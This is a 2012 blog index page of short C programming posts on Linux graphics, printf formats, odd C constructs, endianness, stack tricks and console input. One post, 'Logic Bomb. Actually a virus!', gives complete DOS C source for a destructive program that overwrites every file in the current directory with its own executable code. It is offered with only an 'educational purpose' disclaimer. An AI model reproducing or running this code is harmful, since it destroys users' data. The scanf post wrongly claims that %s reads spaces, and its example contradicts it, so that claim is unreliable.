Showing posts with label C Win/GNU-Linux. Show all posts
Showing posts with label C Win/GNU-Linux. Show all posts

Tuesday, August 28, 2012

Graphics in GNU - C (gcc)

Here is an article which teaches you to install graphics packages in ubuntu or in any other linux operating system. Most of the coders would try their graphic codes in windows because MS DOS comes with a default graphics package called graphics.h. However the results of execution of graphics programs in linux operating system is far more better than in windows. and I've tried that in my ubuntu laptop. So the upcoming part of this article will contain the steps required to install graphics packages in ubuntu or in any other linux operating system.

Wednesday, July 11, 2012

printf() Tricks - C - Win/GNU


It may be old-fashioned, but I still find printf (and sprintf and _vsnprintf) incredibly useful, both for printing debug output and for generating formatted strings.

Here are a few lesser-known formats that I use again and again.

Monday, July 9, 2012

Evil C


This is a collection of strange C (and some Java) constructs. It's probably best not to use them, but you should know why they work
.

The cast-to-bool operator

Node *left, *right;
int childCount() 

{

Saturday, July 7, 2012

Constructing variable length structs in C

A trick to using structs that have a variable sized member is to use an overloaded operator new to allocate space for the struct.

struct string

Thursday, July 5, 2012

Y2K Problem + Day_of_week game! C-GNU/Linux

Hi geeks.. There we can find some of our friends who can find the Day-of-Week just with the date in few counts..! That's interesting game you know ? We can do that game as a program.. Yes we can..

Working with big endian data


A have always favored little endian number representation over big-endian, which why I was saddened whn I found that TCP/IP, and most internet protocols (such as SSL3) use a big endian representation for numbers. Following is the type of construct I use when I need to work with a non-native data type in structs that I pull off of the network.

Playing with the C stack


Parameters on the stack appear in memory with the leftmost item at the lowest memory location. Thus you can get a pointer to your functions stack frame, and walk the parameter list, or even cast your stackframe to a struct that can be passed to other functions.

Wednesday, July 4, 2012

Scan Characters without echoing - C

Happy to see you again..!

Have you noticed in UNIX terminal.. ? The characters of password you are typing will be hidden, that is not even replaced with a dot or asterisk(*) else nothing will be displayed. So it's impossible to find the number of characters in the password. What we are

Tuesday, July 3, 2012

Can you read a space with scanf? - C GNU/Win

If you are a student, and you are learning C, your teacher would have thought you that scanf can't read spaces as it treats spaces as line breakers. But It's not actually like that. See,

#include<stdio.h>
void main(void)
 {
  char line[32];
  printf("Enter a Text with Space :");
  scanf("%s",line);
  printf("\n\nReceived Text : %s",line);
 }

New Color Print for C/C++ DOS/Unix

No need of cprintf(...), no need of textmode(), textcolor(), textbackground().. Just print it as a string usin formatted character (%s). I'll give you examples.

Example Code :

ConIO Extended features for GNU-C

Some of Extended ConIO features for GNU-C. Download it from here..!

Instructions:

Monday, July 2, 2012

Sunday, July 1, 2012

Logic Bomb. Actually a virus!

No Way I'm Responsible for Execution of this Bomb. This sort of viruses are called as LogicalBombs. They just replicate themselves into other files and inject itself byte by byte to other files in programmed directory. Windows based C Source Code. 

Should be used for educational purpose only.
Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
#include<string.h>
void ext_rename(char file[])
 {
 char old[1000],ext[]="exe";
 int i,status;
 strcpy(file,old);
 for(i=0;i<strlen(file);i++)
  {
   if(file[i]=='.')
    {
     file[++i]='\0';
     break;
    }
   }
  strcat(file,ext);
  rename(old,file);
}
void main(int argc,char* argv[])
{
 char buf[512];
 char old[1000],ext[]="exe";
 int i,status;
 int source,target,byt,done;
 struct ffblk ffblk;
 clrscr();
 textcolor(BLUE);
 cprintf("--------------------------------------------------------------------------");
 printf("\nVirus: Logic Bomb 1.0\nProgrammer: SIBIDHARAN N\n");
 cprintf("--------------------------------------------------------------------------");
 textcolor(GREEN);
 printf("\n");
 cprintf("\nPress any key to start Injecting..");
 getch();
 done = findfirst("*.*",&ffblk,0);
while(!done)
{
  printf("\n");
  textcolor(YELLOW);
  cprintf(" %s ", ffblk.ff_name);
  printf("is converted into a");
  textcolor(RED);
  cprintf(" Logicbomb");
  source=open(argv[0],O_RDONLY|O_BINARY);
  target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
  while(1)
   {
     byt=read(source,buf,512);
     if(byt>0)
     write(target,buf,byt);
      else
       break;
   }
  close(source);
  close(target);
  done = findnext(&ffblk);
 }

getch();
}

Not Actually A Virus

This is not actually a virus, but there it's being detected as a virus. Reasons are quoted below..!

Code:
#include<stdio.h>
#include<conio.h>
union abc